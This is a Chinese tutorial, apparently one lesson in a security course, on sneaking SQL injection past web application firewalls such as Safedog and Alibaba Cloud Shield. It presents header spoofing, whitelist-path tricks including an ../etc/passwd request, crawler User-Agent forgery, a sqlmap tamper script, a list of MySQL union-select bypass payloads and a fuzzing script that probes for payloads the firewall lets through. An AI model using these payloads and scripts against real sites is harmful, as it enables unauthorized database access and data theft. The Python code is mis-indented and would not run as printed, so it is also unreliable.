第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF

目录

  • 1. 本文
  • 2. 示例
    • 2.1. 简要其他绕过方式学习
      • 2.1.1. IP 白名单
      • 2.1.2. 静态资源
      • 2.1.3. url 白名单
      • 2.1.4. 爬虫白名单
    • 2.2. FUZZ绕过脚本结合编写测试
    • 2.3. 阿里云盾防SQL注入简要分析
    • 2.4. ★安全狗+云盾SQL注入插件脚本编写
    • 补充:
  • 涉及资源

1. 本文

作为18篇的补充,区分注入时被拦截的原因会事半功倍
  在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF_第1张图片

2. 示例

2.1. 简要其他绕过方式学习

2.1.1. IP 白名单

通过对访问网站ip地址的伪造,告知对方我是IP白名单上的人,以请求放行
前提条件苛刻,因此不会常用:

  1. 前提需要知道对方的IP白名单有什么。但可以尝试服务器的IP令服务器疑惑为本地请求
  2. 若网站从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。

测试方法:修改 http 的 header 来 by pass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

2.1.2. 静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1,意为id的参数带入php
http://10.9.9.201/sql.php/1.js?id=1,意为id的参数带入js或者txt等允许的文件后缀
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

如接收url上的参数到php,waf过滤会只针对欲带入的文件为脚本文件,若带入图片格式或者文本格式等无法造成危害的资源请求,可能不进行过滤,所以伪造id参数意为带入文本文档可造成绕过(目前安全狗版本已经可以拦截)

2.1.3. url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势;
http://10.9.9.201/sql.php/admin/php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。

waf会拦截正常操作中可能含有的敏感操作,因此会对一些文件设置不再拦截。安全狗仍旧拦截
第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF_第2张图片

2.1.4. 爬虫白名单

部分WAF有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

  1. 根据UserAgent
  2. 通过行为判断

UserAgent可以很容易欺骗,爬虫中添加网站头:head={'User-Agent':'Mozilla/5.0 (compatible;Baiduspider-render/2.0;+http://www.baidu.com/search/spider.html)'}
浏览器中使用User Agent Switcher (Firefox附加组件)伪造成百度爬虫

第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF_第3张图片
安全狗爬虫白名单如上:

使用网络爬虫时的老手段:

  1. 爬虫伪造成普通浏览器。收索引擎功能实现为爬虫,网站一般都允许收索引擎对自己查找
  2. 一般网站拥有流量监控,查询间隔需要添加随机的短延迟

2.2. FUZZ绕过脚本结合编写测试

通过在URL中添加字符数字等扰乱WAF检索,手动测试可通过的字符数字组合基本不可能,常通过编写脚本反复测试字典中字符数字不同排列组合以及插入位置反复测试网站

2.3. 阿里云盾防SQL注入简要分析

阿里云盾防护等级高,判断到注入即自动拦截该IP以后的所有请求。即添加到黑名单

tips:sqlmap执行过后会有本地缓存文件,影响再次使用结果

2.4. ★安全狗+云盾SQL注入插件脚本编写

sqlmap的使用 ---- 自带绕过脚本tamper

# 迪师傅的rdog.py
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
	#%23a%0aunion/*!44575select*/1,2,3
if payload:
	payload = payload.replace("union", "%23a%0aunion")
	payload = payload.replace("select", "/*!44575select*/")
	payload = payload.replace("%20", "%23a%0a")
	payload = payload.replace(" ", "%23a%0a")
	payload = payload.replace("database()", "database%23a%0a()")
return payload
  1. 调用脚本、添加代理、随机分配UserAgent(好像并非是浏览器)

在这里插入图片描述

  1. 更换自定的UserAgent
  • 当流量检测时:
  • 代理池
  • 延迟 --delay
  • 浏览器的头agent --useragent

sqlmap被称为注入神器的原因,可设定参数着实便利

在这里插入图片描述

  1. 若遇到sqlmap不支持在命令上修改的数据包位置,写中转脚本,开放性无限的方案
注入
请求服务
SqlMap
本地脚本--请求数据包自定义编写
远程网站

PHP发送HTTP请求的6种方法
在这里插入图片描述第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF_第4张图片


补充:

%23x%0aunion%23x%0Aselect%201,2,3
%20union%20/!44509select/%201,2,3
%20/!44509union/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

数据库特性,只针对与mysql
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行


涉及资源

迪师傅的FUZZ:

import requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
		for xiaodiss in aaa:
			for two in range(44500,44600):
				urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiaodiss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xiaodiss+num
	try:
		result=requests.get(urls).text
		len_r=len(result)
	if (result.find('safedog') == -1):
	#print('bypass url addreess:' + urls + '|' + str(len_r))
	print('bypass url addreess:'+urls+'|'+str(len_r))
	if len_r==715:
	fp = open('url.txt', 'a+')
	fp.write(urls + '\n')
	fp.close()
	except Exception as err:
	print('connecting error')
	time.sleep(0.1)
	
if __name__ == '__main__':
print('fuzz strat!')
bypass()

你可能感兴趣的:(小迪安全,前端,sql,php)